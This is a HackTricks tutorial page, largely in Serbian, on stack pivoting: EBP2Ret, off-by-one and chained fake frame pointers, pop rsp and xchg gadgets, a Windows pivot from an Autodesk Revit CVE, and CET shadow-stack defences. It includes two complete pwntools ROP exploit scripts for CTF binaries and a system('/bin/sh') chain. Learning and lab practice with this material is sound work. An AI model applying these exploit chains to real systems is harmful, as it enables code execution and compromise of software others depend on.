Stack Pivoting - EBP2Ret - EBP chaining
Reading time: 13 minutes
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Ova tehnika iskorišćava mogućnost manipulacije Base Pointer (EBP/RBP) kako bi povezala izvršavanje više funkcija kroz pažljivu upotrebu pokazivača okvira (frame pointer) i sekvence instrukcija leave; ret.
Kao podsetnik, na x86/x86-64 leave je ekvivalentno:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
I pošto je sačuvani EBP/RBP in the stack pre sačuvanog EIP/RIP, moguće ga je kontrolisati kontrolišući stack.
Notes
- Na 64-bit, zamenite EBP→RBP i ESP→RSP. Semantika je ista.
- Neki kompajleri izostave frame pointer (see “EBP might not be used”). U tom slučaju,
leavemožda neće biti prisutan i ova tehnika neće raditi.
EBP2Ret
Ova tehnika je naročito korisna kada možete alter the saved EBP/RBP but have no direct way to change EIP/RIP. Iskorišćava ponašanje epiloga funkcije.
Ako tokom izvršavanja fvuln uspete da ubacite fake EBP na stack koji pokazuje na oblast u memoriji gde je locirana adresa vašeg shellcode/ROP chain-a (plus 8 bytes on amd64 / 4 bytes on x86 zbog pop), možete indirektno kontrolisati RIP. Kako se funkcija vraća, leave postavlja RSP na konstruisanu lokaciju, a naredni pop rbp smanjuje RSP, efektivno ga čineći da pokazuje na adresu koju je napadač tamo pohranio. Zatim ret koristi tu adresu.
Obratite pažnju da treba da znate 2 adrese: adresu na koju će ESP/RSP biti postavljen, i vrednost pohranjenu na toj adresi koju će ret konzumirati.
Exploit Construction
Prvo morate znati adresu na kojoj možete upisati proizvoljne podatke/adrese. RSP će pokazivati ovde i konzumiraće prvi ret.
Zatim treba da izaberete adresu koju ret koristi i koja će preneti izvršavanje. Možete koristiti:
- Validnu ONE_GADGET adresu.
- Adresu
system()praćenu odgovarajućim return-om i argumentima (na x86:rettarget =&system, zatim 4 junk bajta, pa&"/bin/sh"). - Adresu
jmp esp;gadget-a (ret2esp) praćenu inline shellcode-om. - ROP lanac postavljen u writable memoriji.
Zapamtite da ispred bilo koje od ovih adresa u kontrolisanoj oblasti mora postojati mesto za pop ebp/rbp iz leave (8B na amd64, 4B na x86). Možete iskoristiti te bajtove da postavite drugi fake EBP i zadržite kontrolu nakon što se prvi poziv vrati.
Off-By-One Exploit
Postoji varijanta koja se koristi kada možete samo izmeniti najmanje značajan bajt sačuvanog EBP/RBP. U tom slučaju, memorijska lokacija koja čuva adresu na koju skače sa ret mora deliti prva tri/pet bajtova sa originalnim EBP/RBP tako da 1-bajtno prepisivanje može da je preusmeri. Obično se niski bajt (offset 0x00) povećava da bi se skočilo što dalje moguće unutar susedne page/poravnate regije.
Takođe je često koristiti RET sled u stacku i staviti pravi ROP chain na kraju kako bi bilo verovatnije da novi RSP pokazuje unutar sled-a i da se izvrši finalni ROP chain.
EBP Chaining
Postavljanjem kontrolisane adrese u sačuvani EBP slot na stacku i leave; ret gadget-a u EIP/RIP, moguće je premestiti ESP/RSP na adresu pod kontrolom napadača.
Sada je RSP kontrolisan, a naredna instrukcija je ret. Postavite u kontrolisanoj memoriji nešto poput:
&(next fake EBP)-> Loaded bypop ebp/rbpfromleave.&system()-> Called byret.&(leave;ret)-> Aftersystemends, moves RSP to the next fake EBP and continues.&("/bin/sh")-> Argument forsystem.
Na ovaj način je moguće chain-ovati nekoliko fake EBP-ova da biste kontrolisali tok programa.
Ovo je slično ret2lib, ali kompleksnije i korisno samo u rubnim slučajevima.
Štaviše, ovde imate example of a challenge koji koristi ovu tehniku sa stack leak da pozove winning funkciju. Ovo je finalni payload sa stranice:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
amd64 alignment tip: System V ABI zahteva 16-bajtno poravnanje steka na mestima poziva. Ako vaš chain poziva funkcije poput
system, dodajte alignment gadget (npr.ret, ilisub rsp, 8 ; ret) pre poziva da biste održali poravnanje i izbeglimovapspadove.
EBP might not be used
Kao što je objašnjeno u ovom postu, ako je binarni fajl kompajliran sa nekim optimizacijama ili sa izostavljanjem frame-pointer-a, EBP/RBP nikada ne kontroliše ESP/RSP. Stoga će svaki exploit koji se oslanja na kontrolu EBP/RBP propasti jer prologue/epilogue ne vraća vrednosti iz frame pointer-a.
- Nije optimizovano / frame pointer je korišćen:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Optimizovano / frame pointer izostavljen:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
Na amd64 ćete često videti pop rbp ; ret umesto leave ; ret, ali ako je frame pointer potpuno izostavljen onda ne postoji rbp-bazirani epilog kroz koji se može pivotirati.
Drugi načini za kontrolu RSP
pop rsp gadget
Na ovoj stranici možete pronaći primer koji koristi ovu tehniku. Za taj izazov bilo je potrebno pozvati funkciju sa 2 specifična argumenta, postojao je pop rsp gadget i postojala je leak from the stack:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Pogledajte ret2esp tehniku ovde:
Brzo pronalaženje pivot gadgets
Koristite svoj omiljeni gadget finder da pretražite klasične pivot primitives:
leave ; retu funkcijama ili u bibliotekamapop rsp/xchg rax, rsp ; retadd rsp, <imm> ; ret(iliadd esp, <imm> ; retna x86)
Primeri:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Classic pivot staging pattern
Robustna pivot strategija koja se koristi u mnogim CTFs/exploits:
- Koristite mali inicijalni overflow da pozovete
read/recvu veliku writable oblast (npr..bss, heap, ili mapped RW memory) i postavite tamo kompletan ROP chain. - Vratite kontrolu u pivot gadget (
leave ; ret,pop rsp,xchg rax, rsp ; ret) da premestite RSP u tu oblast. - Nastavite sa staged chain (npr., leak libc, pozovite
mprotect, zatimreadshellcode, pa skočite na njega).
Windows: Destructor-loop weird-machine pivots (Revit RFA studija slučaja)
Client-side parsers ponekad implementiraju destructor loops koje indirektno pozivaju function pointer izveden iz attacker-controlled object fields. Ako svaka iteracija nudi tačno jedan indirect call (a “one-gadget” machine), možete ovo konvertovati u pouzdan stack pivot i ROP entry.
Primećeno u Autodesk Revit RFA deserialization (CVE-2025-5037):
- Kreirani objekti tipa
AStringpostavljaju pointer na attacker bytes na offset 0. - Destructor loop efektivno izvršava po jedan gadget po objektu:
rcx = [rbx] ; object pointer (AString*)
rax = [rcx] ; pointer to controlled buffer
call qword ptr [rax] ; execute [rax] once per object
Dva praktična pivota:
- Windows 10 (32-bit heap addrs): neporavnati “monster gadget” koji sadrži
8B E0→mov esp, eax, i na krajuret, za pivotovanje sa call primitive na heap-based ROP chain. - Windows 11 (full 64-bit addrs): koristite dva objekta da pokrenete constrained weird-machine pivot:
- Gadget 1:
push rax ; pop rbp ; ret(premesti originalni rax u rbp) - Gadget 2:
leave ; ... ; ret(postajemov rsp, rbp ; pop rbp ; ret), pivotujući u bafer prvog objekta, gde sledi konvencionalni ROP chain.
Saveti za Windows x64 nakon pivot-a:
- Poštujte 0x20-bajtni shadow space i održavajte 16-bajtno poravnanje pre
calllokacija. Često je zgodno postaviti literale iznad return address i koristiti gadget kaolea rcx, [rsp+0x20] ; call raxpraćenpop rax ; retda prosledite stack adrese bez korupcije kontrolnog toka. - Non-ASLR helper modules (ako su prisutni) obezbeđuju stabilne gadget poole i importe kao
LoadLibraryW/GetProcAddressza dinamičko razrešavanje ciljeva poputucrtbase!system. - Kreiranje nedostajućih gadgeta preko writable thunk-a: ako obećavajući sled završi
callkroz writable function pointer (npr. DLL import thunk ili function pointer u .data), prepišite taj pointer benignim jedinčanim korakom kaopop rax ; ret. Sled će se tada ponašati kao da je završio saret(npr.mov rdx, rsi ; mov rcx, rdi ; ret), što je neprocenjivo za učitavanje Windows x64 arg registara bez razaranja drugih.
Za kompletnu konstrukciju chain-a i primere gadgeta pogledajte referencu ispod.
Modern mitigations that break stack pivoting (CET/Shadow Stack)
Savremeni x86 CPU-i i OS-i sve češće koriste CET Shadow Stack (SHSTK). Kada je SHSTK omogućen, ret upoređuje return address na normalnom stacku sa hardverski zaštićenim shadow stack-om; svako neslaganje pokreće Control-Protection fault i ubija proces. Zato će tehnike kao EBP2Ret/leave;ret-based pivots srušiti program čim se prvi ret izvrši sa pivotovanog stacka.
- For background and deeper details see:
- Brze provere na Linux-u:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Beleške za labs/CTF:
-
Neke moderne distribucije aktiviraju SHSTK za CET-enabled binarije kada su prisutni podrška hardvera i glibc. Za kontrolisano testiranje u VM-ovima, SHSTK se može onemogućiti sistemski putem kernel boot parametra
nousershstk, ili selektivno omogućiti putem glibc tunables tokom pokretanja (vidi reference). Ne onemogućavajte mitigacije na produkcijskim ciljevima. -
JOP/COOP or SROP-based tehnike i dalje mogu biti izvodljive na nekim ciljevima, ali SHSTK specifično kvari
ret-based pivote. -
Napomena za Windows: Windows 10+ izlaže user-mode, a Windows 11 dodaje kernel-mode “Hardware-enforced Stack Protection” zasnovan na shadow stacks. CET-compatible procesi sprečavaju stack pivoting/ROP na
ret; developeri se prijavljuju putem CETCOMPAT i povezanih politika (vidi reference).
ARM64
U ARM64, prolog i epilogi funkcija ne čuvaju i ne vraćaju SP registar na stack. Štaviše, instrukcija RET ne vraća na adresu na koju pokazuje SP, već na adresu unutar x30.
Dakle, po defaultu, samo zloupotrebljavajući epilog nećete moći da kontrolišete SP registar prepisivanjem nekih podataka na stacku. I čak i ako uspete da kontrolišete SP, i dalje ćete morati da nađete način da kontrolišete x30 registar.
- prologue
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
- epilogue
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
caution
Način da se uradi nešto slično stack pivotingu u ARM64 bi bio da možete da kontrolišete SP (kontrolišući neki registar čija se vrednost dodeljuje u SP ili zato što iz nekog razloga SP uzima svoju adresu sa stacka i imamo overflow) i onda zloupotrebite epilog da učitate x30 registar sa kontrolisanog SP i RET na tu adresu.
Takođe, na sledećoj stranici možete videti ekvivalent Ret2esp in ARM64:
References
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bits, off by one exploitation with a rop chain starting with a ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, no relro, canary, nx and pie. Program daje leak za stack ili pie i WWW jednog qword-a. Prvo dobijete stack leak i koristite WWW da se vratite i dobijete pie leak. Zatim koristite WWW da kreirate “eternal” petlju zloupotrebljavajući
.fini_arrayunose + pozivajući__libc_csu_fini(više informacija ovde). Zloupotrebom ovog "eternal" write-a, upisuje se ROP lanac u .bss i na kraju se poziva pivotujući sa RBP. - Linux kernel documentation: Control-flow Enforcement Technology (CET) Shadow Stack — detalji o SHSTK,
nousershstk,/proc/$PID/statuszastavicama, i omogućavanju prekoarch_prctl. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
- Crafting a Full Exploit RCE from a Crash in Autodesk Revit RFA File Parsing (ZDI blog)
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks